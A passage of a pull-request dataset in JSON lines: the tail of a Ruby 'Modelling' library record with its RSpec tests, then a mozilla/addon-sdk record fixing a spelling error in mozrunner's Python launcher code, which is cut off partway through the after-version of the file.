initializer.call\n      end\n    end\n    args.each { |name, value| send \"#{name}=\", value }\n  end\n  \n  def attributes\n    hash = {}\n    self.class.accessors.each do |method_name|\n      hash[method_name] = send(method_name)\n    end\n    hash\n  end\n  \n  def inspect\n    attributes_as_nice_string = attributes.collect { |name, value|\n      \"#{name}: #{attribute_for_inspect(value)}\"\n    }.compact.join(\", \")\n    \"#<#{self.class} #{attributes_as_nice_string}>\"\n  end\n  \n  def attribute_for_inspect(value)\n    if value.is_a?(String) && value.length > 50\n      \"#{value[0..50]}...\".inspect\n    elsif value.is_a?(Date) || value.is_a?(Time)\n      %(\"#{value.to_s(:db)}\")\n    elsif value.class.included_modules.include?(Modelling)\n      \"#<#{value.class.to_s}>\"\n    else\n      value.inspect\n    end\n  end\n  \nend", "spec/modelling_spec.rb": "require 'bundler'\nBundler.require\n$: << '.'\nrequire 'modelling'\n\nclass User\n  include Modelling\n  attributes :name, :age\n  collections :fav_colours, :biggest_gripes, :test => lambda { 3 }\nend\n\nclass NonSpecificUser < User\nend\n\nclass MyArray < Array; end\nclass MyHash < Hash; end\n\nclass Car\n  include Modelling\n  attributes :name => Proc.new { |car| String.new(car.class.to_s) }\n  collections :doors => MyArray\nend\n\nclass SuperCar < Car\n  attributes :bhp => Proc.new { 400 }\nend\n\nclass Site\n  include Modelling\n  maps :users => MyHash\nend\n\nclass Bike\n  include Modelling\n  attributes :manufacturer\n  maps :stickers\n  structs :features\nend\n\nclass LambdaTest\n  include Modelling\n  attributes :lambda => lambda { \"boo\" }\nend\n\nRSpec.describe Modelling do\n\n  specify 'user has name' do\n    user = User.new\n    user.name = 'Ryan'\n    expect(user.name).to eq 'Ryan'\n  end\n\n  specify 'user has age' do\n    user = User.new\n    user.age = 24\n    expect(user.age).to eq 24\n  end\n\n  specify 'user has fav colours collection' do\n    user = User.new\n    user.fav_colours = [:green, :yellow]\n    expect(user.fav_colours).to eq [:green, :yellow]\n  end\n\n  specify 'user has biggest gripes collection' do\n    user = User.new\n    user.biggest_gripes = [:mediocrity, :CUB_beer]\n    expect(user.biggest_gripes).to eq [:mediocrity, :CUB_beer]\n  end\n\n  specify 'attributes are initialized as nil' do\n    user = User.new\n    expect(user.name).to be_nil\n    expect(user.age).to be_nil\n  end\n\n  specify 'collections are initialized as empty array' do\n    user = User.new\n    expect(user.fav_colours).to be_empty\n    expect(user.biggest_gripes).to be_empty\n  end\n\n  it 'can initialize with attributes' do\n    user = User.new(:name => 'Ryan')\n    expect(user.name).to eq 'Ryan'\n  end\n\n  it 'can initialize with collections' do\n    user = User.new(:biggest_gripes => [:mediocrity, :CUB_beer])\n    expect(user.biggest_gripes).to eq [:mediocrity, :CUB_beer]\n  end\n\n  specify 'car has doors and all is good' do\n    car = Car.new\n    expect(car.doors).to be_empty\n  end\n\n  specify 'bike does not bunk on having no collection' do\n    bike = Bike.new(:manufacturer => 'Kawasaki')\n    # if nothing is rased, we fixed the bug\n  end\n\n  specify 'bike has map of stickers' do\n    expect(Bike.new.stickers).to be_empty\n  end\n  \n  specify 'cars doors is a my array' do\n    expect(Car.new.doors).to be_instance_of MyArray\n  end\n  \n  specify 'sites users is a my hash' do\n    expect(Site.new.users).to be_instance_of MyHash\n  end\n  \n  it 'can initialize with proc and get reference to new instance' do\n    car = Car.new\n    expect(car.name).to eq String.new(car.class.to_s)\n  end\n\n  specify 'bike has features' do\n    bike = Bike.new\n    expect(bike.features).to be_instance_of OpenStruct\n  end\n\n  it 'doesnt fail when lambdas with no args are used' do\n    expect(LambdaTest.new.lambda).to eq 'boo'\n  end\n  \n  specify 'tracks list of accessors' do\n    expect(User.accessors).to include :name, :age\n  end\n  \n  specify 'provides a Hash of attributes and values' do\n    expect(User.new.attributes.key?(:name)).to be true\n    expect(User.new.attributes.key?(:age)).to be true\n    expect(User.new(:name => \"Joe\").attributes[:name]).to eq \"Joe\"\n  end\n  \n  specify 'converts the attributes hash to a string for inspect' do\n    u = User.new(:name => \"Joe\")\n    expect(u.inspect).to eq(\"#<User name: \\\"Joe\\\", age: nil, test: 3, fav_colours: [], biggest_gripes: []>\")\n  end\n  \n  context 'circular references' do\n    \n    before do\n      class FirstModel\n        include Modelling\n        attributes :test => lambda { |me| OtherModel.new(me) }\n      end\n\n      class OtherModel\n        include Modelling\n        attributes :owner\n        def initialize(owner)\n          @owner = owner\n        end\n      end\n    end\n    \n    it 'should not raise an error when inspecting' do\n      expect { FirstModel.new.inspect }.not_to raise_error\n    end\n    \n    it 'should show the class name instead of inspecting referenced models' do\n      expect(FirstModel.new.inspect).to include(\"#<OtherModel>\")\n    end\n    \n  end\n  \n  \n  \n  context 'inheritence' do\n    let(:car) { Car.new }\n    let(:super_car) { SuperCar.new }\n\n    it 'inherits attributes' do\n      expect(super_car.doors).to be_instance_of MyArray\n      expect(super_car.name).to eq \"SuperCar\"\n    end\n\n    it 'allows extra attributes' do\n      expect(super_car.bhp).to eq 400\n    end\n\n    it 'doesnt mess up the super classes members' do\n      expect(car).not_to respond_to(:bhp)\n      expect(car).to respond_to(:doors)\n      expect(car).to respond_to(:name)\n    end\n\n    specify 'non specific user inherits attributes' do\n      user = NonSpecificUser.new(:name => 'Ryan you cocktard')\n      expect(user.name).to eq 'Ryan you cocktard'\n    end\n  end\nend\n"}}
{"repo": "mozilla/addon-sdk", "pr_number": 2045, "title": "Bug 1246107 - A spell error of delimeters in mozrunner/__init__.py", "state": "closed", "merged_at": null, "additions": 1, "deletions": 1, "files_changed": ["python-lib/mozrunner/__init__.py"], "files_before": {"python-lib/mozrunner/__init__.py": "# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nimport os\nimport sys\nimport copy\nimport tempfile\nimport signal\nimport commands\nimport zipfile\nimport optparse\nimport killableprocess\nimport subprocess\nimport platform\nimport shutil\nfrom StringIO import StringIO\nfrom xml.dom import minidom\n\nfrom distutils import dir_util\nfrom time import sleep\n\n# conditional (version-dependent) imports\ntry:\n    import simplejson\nexcept ImportError:\n    import json as simplejson\n\nimport logging\nlogger = logging.getLogger(__name__)\n\n# Use dir_util for copy/rm operations because shutil is all kinds of broken\ncopytree = dir_util.copy_tree\nrmtree = dir_util.remove_tree\n\ndef findInPath(fileName, path=os.environ['PATH']):\n    dirs = path.split(os.pathsep)\n    for dir in dirs:\n        if os.path.isfile(os.path.join(dir, fileName)):\n            return os.path.join(dir, fileName)\n        if os.name == 'nt' or sys.platform == 'cygwin':\n            if os.path.isfile(os.path.join(dir, fileName + \".exe\")):\n                return os.path.join(dir, fileName + \".exe\")\n    return None\n\nstdout = sys.stdout\nstderr = sys.stderr\nstdin = sys.stdin\n\ndef run_command(cmd, env=None, **kwargs):\n    \"\"\"Run the given command in killable process.\"\"\"\n    killable_kwargs = {'stdout':stdout ,'stderr':stderr, 'stdin':stdin}\n    killable_kwargs.update(kwargs)\n\n    if sys.platform != \"win32\":\n        return killableprocess.Popen(cmd, preexec_fn=lambda : os.setpgid(0, 0),\n                                     env=env, **killable_kwargs)\n    else:\n        return killableprocess.Popen(cmd, env=env, **killable_kwargs)\n\ndef getoutput(l):\n    tmp = tempfile.mktemp()\n    x = open(tmp, 'w')\n    subprocess.call(l, stdout=x, stderr=x)\n    x.close(); x = open(tmp, 'r')\n    r = x.read() ; x.close()\n    os.remove(tmp)\n    return r\n\ndef get_pids(name, minimun_pid=0):\n    \"\"\"Get all the pids matching name, exclude any pids below minimum_pid.\"\"\"\n    if os.name == 'nt' or sys.platform == 'cygwin':\n        import wpk\n\n        pids = wpk.get_pids(name)\n\n    else:\n        data = getoutput(['ps', 'ax']).splitlines()\n        pids = [int(line.split()[0]) for line in data if line.find(name) is not -1]\n\n    matching_pids = [m for m in pids if m > minimun_pid]\n    return matching_pids\n\ndef makedirs(name):\n\n    head, tail = os.path.split(name)\n    if not tail:\n        head, tail = os.path.split(head)\n    if head and tail and not os.path.exists(head):\n        try:\n            makedirs(head)\n        except OSError, e:\n            pass\n        if tail == os.curdir:           # xxx/newdir/. exists if xxx/newdir exists\n            return\n    try:\n        os.mkdir(name)\n    except:\n        pass\n\n# addon_details() copied from mozprofile\ndef addon_details(install_rdf_fh):\n    \"\"\"\n    returns a dictionary of details about the addon\n    - addon_path : path to the addon directory\n    Returns:\n    {'id':      u'rainbow@colors.org', # id of the addon\n     'version': u'1.4',                # version of the addon\n     'name':    u'Rainbow',            # name of the addon\n     'unpack': # whether to unpack the addon\n    \"\"\"\n\n    details = {\n        'id': None,\n        'unpack': False,\n        'name': None,\n        'version': None\n    }\n\n    def get_namespace_id(doc, url):\n        attributes = doc.documentElement.attributes\n        namespace = \"\"\n        for i in range(attributes.length):\n            if attributes.item(i).value == url:\n                if \":\" in attributes.item(i).name:\n                    # If the namespace is not the default one remove 'xlmns:'\n                    namespace = attributes.item(i).name.split(':')[1] + \":\"\n                    break\n        return namespace\n\n    def get_text(element):\n        \"\"\"Retrieve the text value of a given node\"\"\"\n        rc = []\n        for node in element.childNodes:\n            if node.nodeType == node.TEXT_NODE:\n                rc.append(node.data)\n        return ''.join(rc).strip()\n\n    doc = minidom.parse(install_rdf_fh)\n\n    # Get the namespaces abbreviations\n    em = get_namespace_id(doc, \"http://www.mozilla.org/2004/em-rdf#\")\n    rdf = get_namespace_id(doc, \"http://www.w3.org/1999/02/22-rdf-syntax-ns#\")\n\n    description = doc.getElementsByTagName(rdf + \"Description\").item(0)\n    for node in description.childNodes:\n        # Remove the namespace prefix from the tag for comparison\n        entry = node.nodeName.replace(em, \"\")\n        if entry in details.keys():\n            details.update({ entry: get_text(node) })\n\n    # turn unpack into a true/false value\n    if isinstance(details['unpack'], basestring):\n        details['unpack'] = details['unpack'].lower() == 'true'\n\n    return details\n\nclass Profile(object):\n    \"\"\"Handles all operations regarding profile. Created new profiles, installs extensions,\n    sets preferences and handles cleanup.\"\"\"\n\n    def __init__(self, binary=None, profile=None, addons=None,\n                 preferences=None):\n\n        self.binary = binary\n\n        self.create_new = not(bool(profile))\n        if profile:\n            self.profile = profile\n        else:\n            self.profile = self.create_new_profile(self.binary)\n\n        self.addons_installed = []\n        self.addons = addons or []\n\n        ### set preferences from class preferences\n        preferences = preferences or {}\n        if hasattr(self.__class__, 'preferences'):\n            self.preferences = self.__class__.preferences.copy()\n        else:\n            self.preferences = {}\n        self.preferences.update(preferences)\n\n        for addon in self.addons:\n            self.install_addon(addon)\n\n        self.set_preferences(self.preferences)\n\n    def create_new_profile(self, binary):\n        \"\"\"Create a new clean profile in tmp which is a simple empty folder\"\"\"\n        profile = tempfile.mkdtemp(suffix='.mozrunner')\n        return profile\n\n    def unpack_addon(self, xpi_zipfile, addon_path):\n        for name in xpi_zipfile.namelist():\n            if name.endswith('/'):\n                makedirs(os.path.join(addon_path, name))\n            else:\n                if not os.path.isdir(os.path.dirname(os.path.join(addon_path, name))):\n                    makedirs(os.path.dirname(os.path.join(addon_path, name)))\n                data = xpi_zipfile.read(name)\n                f = open(os.path.join(addon_path, name), 'wb')\n                f.write(data) ; f.close()\n                zi = xpi_zipfile.getinfo(name)\n                os.chmod(os.path.join(addon_path,name), (zi.external_attr>>16))\n\n    def install_addon(self, path):\n        \"\"\"Installs the given addon or directory of addons in the profile.\"\"\"\n\n        extensions_path = os.path.join(self.profile, 'extensions')\n        if not os.path.exists(extensions_path):\n            os.makedirs(extensions_path)\n\n        addons = [path]\n        if not path.endswith('.xpi') and not os.path.exists(os.path.join(path, 'install.rdf')):\n            addons = [os.path.join(path, x) for x in os.listdir(path)]\n\n        for addon in addons:\n            if addon.endswith('.xpi'):\n                xpi_zipfile = zipfile.ZipFile(addon, \"r\")\n                details = addon_details(StringIO(xpi_zipfile.read('install.rdf')))\n                addon_path = os.path.join(extensions_path, details[\"id\"])\n                if details.get(\"unpack\", True):\n                    self.unpack_addon(xpi_zipfile, addon_path)\n                    self.addons_installed.append(addon_path)\n                else:\n                    shutil.copy(addon, addon_path + '.xpi')\n            else:\n                # it's already unpacked, but we need to extract the id so we\n                # can copy it\n                details = addon_details(open(os.path.join(addon, \"install.rdf\"), \"rb\"))\n                addon_path = os.path.join(extensions_path, details[\"id\"])\n                shutil.copytree(addon, addon_path, symlinks=True)\n\n    def set_preferences(self, preferences):\n        \"\"\"Adds preferences dict to profile preferences\"\"\"\n        prefs_file = os.path.join(self.profile, 'user.js')\n        # Ensure that the file exists first otherwise create an empty file\n        if os.path.isfile(prefs_file):\n            f = open(prefs_file, 'a+')\n        else:\n            f = open(prefs_file, 'w')\n\n        f.write('\\n#MozRunner Prefs Start\\n')\n\n        pref_lines = ['user_pref(%s, %s);' %\n                      (simplejson.dumps(k), simplejson.dumps(v) ) for k, v in\n                       preferences.items()]\n        for line in pref_lines:\n            f.write(line+'\\n')\n        f.write('#MozRunner Prefs End\\n')\n        f.flush() ; f.close()\n\n    def pop_preferences(self):\n        \"\"\"\n        pop the last set of preferences added\n        returns True if popped\n        \"\"\"\n\n        # our magic markers\n        delimeters = ('#MozRunner Prefs Start', '#MozRunner Prefs End')\n\n        lines = file(os.path.join(self.profile, 'user.js')).read().splitlines()\n        def last_index(_list, value):\n            \"\"\"\n            returns the last index of an item;\n            this should actually be part of python code but it isn't\n            \"\"\"\n            for index in reversed(range(len(_list))):\n                if _list[index] == value:\n                    return index\n        s = last_index(lines, delimeters[0])\n        e = last_index(lines, delimeters[1])\n\n        # ensure both markers are found\n        if s is None:\n            assert e is None, '%s found without %s' % (delimeters[1], delimeters[0])\n            return False # no preferences found\n        elif e is None:\n            assert e is None, '%s found without %s' % (delimeters[0], delimeters[1])\n\n        # ensure the markers are in the proper order\n        assert e > s, '%s found at %s, while %s found at %s' (delimeter[1], e, delimeter[0], s)\n\n        # write the prefs\n        cleaned_prefs = '\\n'.join(lines[:s] + lines[e+1:])\n        f = file(os.path.join(self.profile, 'user.js'), 'w')\n        f.write(cleaned_prefs)\n        f.close()\n        return True\n\n    def clean_preferences(self):\n        \"\"\"Removed preferences added by mozrunner.\"\"\"\n        while True:\n            if not self.pop_preferences():\n                break\n\n    def clean_addons(self):\n        \"\"\"Cleans up addons in the profile.\"\"\"\n        for addon in self.addons_installed:\n            if os.path.isdir(addon):\n                rmtree(addon)\n\n    def cleanup(self):\n        \"\"\"Cleanup operations on the profile.\"\"\"\n        def oncleanup_error(function, path, excinfo):\n            #TODO: How should we handle this?\n            print \"Error Cleaning up: \" + str(excinfo[1])\n        if self.create_new:\n            shutil.rmtree(self.profile, False, oncleanup_error)\n        else:\n            self.clean_preferences()\n            self.clean_addons()\n\nclass FirefoxProfile(Profile):\n    \"\"\"Specialized Profile subclass for Firefox\"\"\"\n    preferences = {# Don't automatically update the application\n                   'app.update.enabled' : False,\n                   # Don't restore the last open set of tabs if the browser has crashed\n                   'browser.sessionstore.resume_from_crash': False,\n                   # Don't check for the default web browser\n                   'browser.shell.checkDefaultBrowser' : False,\n                   # Don't warn on exit when multiple tabs are open\n                   'browser.tabs.warnOnClose' : False,\n                   # Don't warn when exiting the browser\n                   'browser.warnOnQuit': False,\n                   # Only install add-ons from the profile and the app folder\n                   'extensions.enabledScopes' : 5,\n                   # Don't automatically update add-ons\n                   'extensions.update.enabled'    : False,\n                   # Don't open a dialog to show available add-on updates\n                   'extensions.update.notifyUser' : False,\n                   }\n\n    # The possible names of application bundles on Mac OS X, in order of\n    # preference from most to least preferred.\n    # Note: Nightly is obsolete, as it has been renamed to FirefoxNightly,\n    # but it will still be present if users update an older nightly build\n    # via the app update service.\n    bundle_names = ['Firefox', 'FirefoxNightly', 'Nightly']\n\n    # The possible names of binaries, in order of preference from most to least\n    # preferred.\n    @property\n    def names(self):\n        if sys.platform == 'darwin':\n            return ['firefox', 'nightly', 'shiretoko']\n        if (sys.platform == 'linux2') or (sys.platform in ('sunos5', 'solaris')):\n            return ['firefox', 'mozilla-firefox', 'iceweasel']\n        if os.name == 'nt' or sys.platform == 'cygwin':\n            return ['firefox']\n\nclass ThunderbirdProfile(Profile):\n    preferences = {'extensions.update.enabled'    : False,\n                   'extensions.update.notifyUser' : False,\n                   'browser.shell.checkDefaultBrowser' : False,\n                   'browser.tabs.warnOnClose' : False,\n                   'browser.warnOnQuit': False,\n                   'browser.sessionstore.resume_from_crash': False,\n                   }\n\n    # The possible names of application bundles on Mac OS X, in order of\n    # preference from most to least preferred.\n    bundle_names = [\"Thunderbird\", \"Shredder\"]\n\n    # The possible names of binaries, in order of preference from most to least\n    # preferred.\n    names = [\"thunderbird\", \"shredder\"]\n\n\nclass Runner(object):\n    \"\"\"Handles all running operations. Finds bins, runs and kills the process.\"\"\"\n\n    def __init__(self, binary=None, profile=None, cmdargs=[], env=None,\n                 kp_kwargs={}):\n        if binary is None:\n            self.binary = self.find_binary()\n        elif sys.platform == 'darwin' and binary.find('Contents/MacOS/') == -1:\n            self.binary = os.path.join(binary, 'Contents/MacOS/%s-bin' % self.names[0])\n        else:\n            self.binary = binary\n\n        if not os.path.exists(self.binary):\n            raise Exception(\"Binary path does not exist \"+self.binary)\n\n        if sys.platform == 'linux2' and self.binary.endswith('-bin'):\n            dirname = os.path.dirname(self.binary)\n            if os.environ.get('LD_LIBRARY_PATH', None):\n                os.environ['LD_LIBRARY_PATH'] = '%s:%s' % (os.environ['LD_LIBRARY_PATH'], dirname)\n            else:\n                os.environ['LD_LIBRARY_PATH'] = dirname\n\n        # Disable the crash reporter by default\n        os.environ['MOZ_CRASHREPORTER_NO_REPORT'] = '1'\n\n        self.profile = profile\n\n        self.cmdargs = cmdargs\n        if env is None:\n            self.env = copy.copy(os.environ)\n            self.env.update({'MOZ_NO_REMOTE':\"1\",})\n        else:\n            self.env = env\n        self.kp_kwargs = kp_kwargs or {}\n\n    def find_binary(self):\n        \"\"\"Finds the binary for self.names if one was not provided.\"\"\"\n        binary = None\n        if sys.platform in ('linux2', 'sunos5', 'solaris') \\\n                or sys.platform.startswith('freebsd'):\n            for name in reversed(self.names):\n                binary = findInPath(name)\n        elif os.name == 'nt' or sys.platform == 'cygwin':\n\n            # find the default executable from the windows registry\n            try:\n                import _winreg\n            except ImportError:\n                pass\n            else:\n                sam_flags = [0]\n                # KEY_WOW64_32KEY etc only appeared in 2.6+, but that's OK as\n                # only 2.6+ has functioning 64bit builds.\n                if hasattr(_winreg, \"KEY_WOW64_32KEY\"):\n                    if \"64 bit\" in sys.version:\n                        # a 64bit Python should also look in the 32bit registry\n                        sam_flags.append(_winreg.KEY_WOW64_32KEY)\n                    else:\n                        # possibly a 32bit Python on 64bit Windows, so look in\n                        # the 64bit registry incase there is a 64bit app.\n                        sam_flags.append(_winreg.KEY_WOW64_64KEY)\n                for sam_flag in sam_flags:\n                    try:\n                        # assumes self.app_name is defined, as it should be for\n                        # implementors\n                        keyname = r\"Software\\Mozilla\\Mozilla %s\" % self.app_name\n                        sam = _winreg.KEY_READ | sam_flag\n                        app_key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, keyname, 0, sam)\n                        version, _type = _winreg.QueryValueEx(app_key, \"CurrentVersion\")\n                        version_key = _winreg.OpenKey(app_key, version + r\"\\Main\")\n                        path, _ = _winreg.QueryValueEx(version_key, \"PathToExe\")\n                        return path\n                    except _winreg.error:\n                        pass\n\n            # search for the binary in the path            \n            for name in reversed(self.names):\n                binary = findInPath(name)\n                if sys.platform == 'cygwin':\n                    program_files = os.environ['PROGRAMFILES']\n                else:\n                    program_files = os.environ['ProgramFiles']\n\n                if binary is None:\n                    for bin in [(program_files, 'Mozilla Firefox', 'firefox.exe'),\n                                (os.environ.get(\"ProgramFiles(x86)\"),'Mozilla Firefox', 'firefox.exe'),\n                                (program_files, 'Nightly', 'firefox.exe'),\n                                (os.environ.get(\"ProgramFiles(x86)\"),'Nightly', 'firefox.exe'),\n                                (program_files, 'Aurora', 'firefox.exe'),\n                                (os.environ.get(\"ProgramFiles(x86)\"),'Aurora', 'firefox.exe')\n                                ]:\n                        path = os.path.join(*bin)\n                        if os.path.isfile(path):\n                            binary = path\n                            break\n        elif sys.platform == 'darwin':\n            for bundle_name in self.bundle_names:\n                # Look for the application bundle in the user's home directory\n                # or the system-wide /Applications directory.  If we don't find\n                # it in one of those locations, we move on to the next possible\n                # bundle name.\n                appdir = os.path.join(\"~/Applications/%s.app\" % bundle_name)\n                if not os.path.isdir(appdir):\n                    appdir = \"/Applications/%s.app\" % bundle_name\n                if not os.path.isdir(appdir):\n                    continue\n\n                # Look for a binary with any of the possible binary names\n                # inside the application bundle.\n                for binname in self.names:\n                    binpath = os.path.join(appdir,\n                                           \"Contents/MacOS/%s-bin\" % binname)\n                    if (os.path.isfile(binpath)):\n                        binary = binpath\n                        break\n\n                if binary:\n                    break\n\n        if binary is None:\n            raise Exception('Mozrunner could not locate your binary, you will need to set it.')\n        return binary\n\n    @property\n    def command(self):\n        \"\"\"Returns the command list to run.\"\"\"\n        cmd = [self.binary, '-profile', self.profile.profile]\n        # On i386 OS X machines, i386+x86_64 universal binaries need to be told\n        # to run as i386 binaries.  If we're not running a i386+x86_64 universal\n        # binary, then this command modification is harmless.\n        if sys.platform == 'darwin':\n            if hasattr(platform, 'architecture') and platform.architecture()[0] == '32bit':\n                cmd = ['arch', '-i386'] + cmd\n        return cmd\n\n    def get_repositoryInfo(self):\n        \"\"\"Read repository information from application.ini and platform.ini.\"\"\"\n        import ConfigParser\n\n        config = ConfigParser.RawConfigParser()\n        dirname = os.path.dirname(self.binary)\n        repository = { }\n\n        for entry in [['application', 'App'], ['platform', 'Build']]:\n            (file, section) = entry\n            config.read(os.path.join(dirname, '%s.ini' % file))\n\n            for entry in [['SourceRepository', 'repository'], ['SourceStamp', 'changeset']]:\n                (key, id) = entry\n\n                try:\n                    repository['%s_%s' % (file, id)] = config.get(section, key);\n                except:\n                    repository['%s_%s' % (file, id)] = None\n\n        return repository\n\n    def start(self):\n        \"\"\"Run self.command in the proper environment.\"\"\"\n        if self.profile is None:\n            self.profile = self.profile_class()\n        self.process_handler = run_command(self.command+self.cmdargs, self.env, **self.kp_kwargs)\n\n    def wait(self, timeout=None):\n        \"\"\"Wait for the browser to exit.\"\"\"\n        self.process_handler.wait(timeout=timeout)\n\n        if sys.platform != 'win32':\n            for name in self.names:\n                for pid in get_pids(name, self.process_handler.pid):\n                    self.process_handler.pid = pid\n                    self.process_handler.wait(timeout=timeout)\n\n    def kill(self, kill_signal=signal.SIGTERM):\n        \"\"\"Kill the browser\"\"\"\n        if sys.platform != 'win32':\n            self.process_handler.kill()\n            for name in self.names:\n                for pid in get_pids(name, self.process_handler.pid):\n                    self.process_handler.pid = pid\n                    self.process_handler.kill()\n        else:\n            try:\n                self.process_handler.kill(group=True)\n                # On windows, it sometimes behooves one to wait for dust to settle\n                # after killing processes.  Let's try that.\n                # TODO: Bug 640047 is invesitgating the correct way to handle this case\n                self.process_handler.wait(timeout=10)\n            except Exception, e:\n                logger.error('Cannot kill process, '+type(e).__name__+' '+e.message)\n\n    def stop(self):\n        self.kill()\n\nclass FirefoxRunner(Runner):\n    \"\"\"Specialized Runner subclass for running Firefox.\"\"\"\n\n    app_name = 'Firefox'\n    profile_class = FirefoxProfile\n\n    # The possible names of application bundles on Mac OS X, in order of\n    # preference from most to least preferred.\n    # Note: Nightly is obsolete, as it has been renamed to FirefoxNightly,\n    # but it will still be present if users update an older nightly build\n    # only via the app update service.\n    bundle_names = ['Firefox', 'FirefoxNightly', 'Nightly']\n\n    @property\n    def names(self):\n        if sys.platform == 'darwin':\n            return ['firefox', 'nightly', 'shiretoko']\n        if sys.platform in ('linux2', 'sunos5', 'solaris') \\\n                or sys.platform.startswith('freebsd'):\n            return ['firefox', 'mozilla-firefox', 'iceweasel']\n        if os.name == 'nt' or sys.platform == 'cygwin':\n            return ['firefox']\n\nclass ThunderbirdRunner(Runner):\n    \"\"\"Specialized Runner subclass for running Thunderbird\"\"\"\n\n    app_name = 'Thunderbird'\n    profile_class = ThunderbirdProfile\n\n    # The possible names of application bundles on Mac OS X, in order of\n    # preference from most to least preferred.\n    bundle_names = [\"Thunderbird\", \"Shredder\"]\n\n    # The possible names of binaries, in order of preference from most to least\n    # preferred.\n    names = [\"thunderbird\", \"shredder\"]\n\nclass CLI(object):\n    \"\"\"Command line interface.\"\"\"\n\n    runner_class = FirefoxRunner\n    profile_class = FirefoxProfile\n    module = \"mozrunner\"\n\n    parser_options = {(\"-b\", \"--binary\",): dict(dest=\"binary\", help=\"Binary path.\",\n                                                metavar=None, default=None),\n                      ('-p', \"--profile\",): dict(dest=\"profile\", help=\"Profile path.\",\n                                                 metavar=None, default=None),\n                      ('-a', \"--addons\",): dict(dest=\"addons\", \n                                                help=\"Addons paths to install.\",\n                                                metavar=None, default=None),\n                      (\"--info\",): dict(dest=\"info\", default=False,\n                                        action=\"store_true\",\n                                        help=\"Print module information\")\n                     }\n\n    def __init__(self):\n        \"\"\" Setup command line parser and parse arguments \"\"\"\n        self.metadata = self.get_metadata_from_egg()\n        self.parser = optparse.OptionParser(version=\"%prog \" + self.metadata[\"Version\"])\n        for names, opts in self.parser_options.items():\n            self.parser.add_option(*names, **opts)\n        (self.options, self.args) = self.parser.parse_args()\n\n        if self.options.info:\n            self.print_metadata()\n            sys.exit(0)\n            \n        # XXX should use action='append' instead of rolling our own\n        try:\n            self.addons = self.options.addons.split(',')\n        except:\n            self.addons = []\n            \n    def get_metadata_from_egg(self):\n        import pkg_resources\n        ret = {}\n        dist = pkg_resources.get_distribution(self.module)\n        if dist.has_metadata(\"PKG-INFO\"):\n            for line in dist.get_metadata_lines(\"PKG-INFO\"):\n                key, value = line.split(':', 1)\n                ret[key] = value\n        if dist.has_metadata(\"requires.txt\"):\n            ret[\"Dependencies\"] = \"\\n\" + dist.get_metadata(\"requires.txt\")    \n        return ret\n        \n    def print_metadata(self, data=(\"Name\", \"Version\", \"Summary\", \"Home-page\", \n                                   \"Author\", \"Author-email\", \"License\", \"Platform\", \"Dependencies\")):\n        for key in data:\n            if key in self.metadata:\n                print key + \": \" + self.metadata[key]\n\n    def create_runner(self):\n        \"\"\" Get the runner object \"\"\"\n        runner = self.get_runner(binary=self.options.binary)\n        profile = self.get_profile(binary=runner.binary,\n                                   profile=self.options.profile,\n                                   addons=self.addons)\n        runner.profile = profile\n        return runner\n\n    def get_runner(self, binary=None, profile=None):\n        \"\"\"Returns the runner instance for the given command line binary argument\n        the profile instance returned from self.get_profile().\"\"\"\n        return self.runner_class(binary, profile)\n\n    def get_profile(self, binary=None, profile=None, addons=None, preferences=None):\n        \"\"\"Returns the profile instance for the given command line arguments.\"\"\"\n        addons = addons or []\n        preferences = preferences or {}\n        return self.profile_class(binary, profile, addons, preferences)\n\n    def run(self):\n        runner = self.create_runner()\n        self.start(runner)\n        runner.profile.cleanup()\n\n    def start(self, runner):\n        \"\"\"Starts the runner and waits for Firefox to exitor Keyboard Interrupt.\n        Shoule be overwritten to provide custom running of the runner instance.\"\"\"\n        runner.start()\n        print 'Started:', ' '.join(runner.command)\n        try:\n            runner.wait()\n        except KeyboardInterrupt:\n            runner.stop()\n\n\ndef cli():\n    CLI().run()\n"}, "files_after": {"python-lib/mozrunner/__init__.py": "# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nimport os\nimport sys\nimport copy\nimport tempfile\nimport signal\nimport commands\nimport zipfile\nimport optparse\nimport killableprocess\nimport subprocess\nimport platform\nimport shutil\nfrom StringIO import StringIO\nfrom xml.dom import minidom\n\nfrom distutils import dir_util\nfrom time import sleep\n\n# conditional (version-dependent) imports\ntry:\n    import simplejson\nexcept ImportError:\n    import json as simplejson\n\nimport logging\nlogger = logging.getLogger(__name__)\n\n# Use dir_util for copy/rm operations because shutil is all kinds of broken\ncopytree = dir_util.copy_tree\nrmtree = dir_util.remove_tree\n\ndef findInPath(fileName, path=os.environ['PATH']):\n    dirs = path.split(os.pathsep)\n    for dir in dirs:\n        if os.path.isfile(os.path.join(dir, fileName)):\n            return os.path.join(dir, fileName)\n        if os.name == 'nt' or sys.platform == 'cygwin':\n            if os.path.isfile(os.path.join(dir, fileName + \".exe\")):\n                return os.path.join(dir, fileName + \".exe\")\n    return None\n\nstdout = sys.stdout\nstderr = sys.stderr\nstdin = sys.stdin\n\ndef run_command(cmd, env=None, **kwargs):\n    \"\"\"Run the given command in killable process.\"\"\"\n    killable_kwargs = {'stdout':stdout ,'stderr':stderr, 'stdin':stdin}\n    killable_kwargs.update(kwargs)\n\n    if sys.platform != \"win32\":\n        return killableprocess.Popen(cmd, preexec_fn=lambda : os.setpgid(0, 0),\n                                     env=env, **killable_kwargs)\n    else:\n        return killableprocess.Popen(cmd, env=env, **killable_kwargs)\n\ndef getoutput(l):\n    tmp = tempfile.mktemp()\n    x = open(tmp, 'w')\n    subprocess.call(l, stdout=x, stderr=x)\n    x.close(); x = open(tmp, 'r')\n    r = x.read() ; x.close()\n    os.remove(tmp)\n    return r\n\ndef get_pids(name, minimun_pid=0):\n    \"\"\"Get all the pids matching name, exclude any pids below minimum_pid.\"\"\"\n    if os.name == 'nt' or sys.platform == 'cygwin':\n        import wpk\n\n        pids = wpk.get_pids(name)\n\n    else:\n        data = getoutput(['ps', 'ax']).splitlines()\n        pids = [int(line.split()[0]) for line in data if line.find(name) is not -1]\n\n    matching_pids = [m for m in pids if m > minimun_pid]\n    return matching_pids\n\ndef makedirs(name):\n\n    head, tail = os.path.split(name)\n    if not tail:\n        head, tail = os.path.split(head)\n    if head and tail and not os.path.exists(head):\n        try:\n            makedirs(head)\n        except OSError, e:\n            pass\n        if tail == os.curdir:           # xxx/newdir/. exists if xxx/newdir exists\n            return\n    try:\n        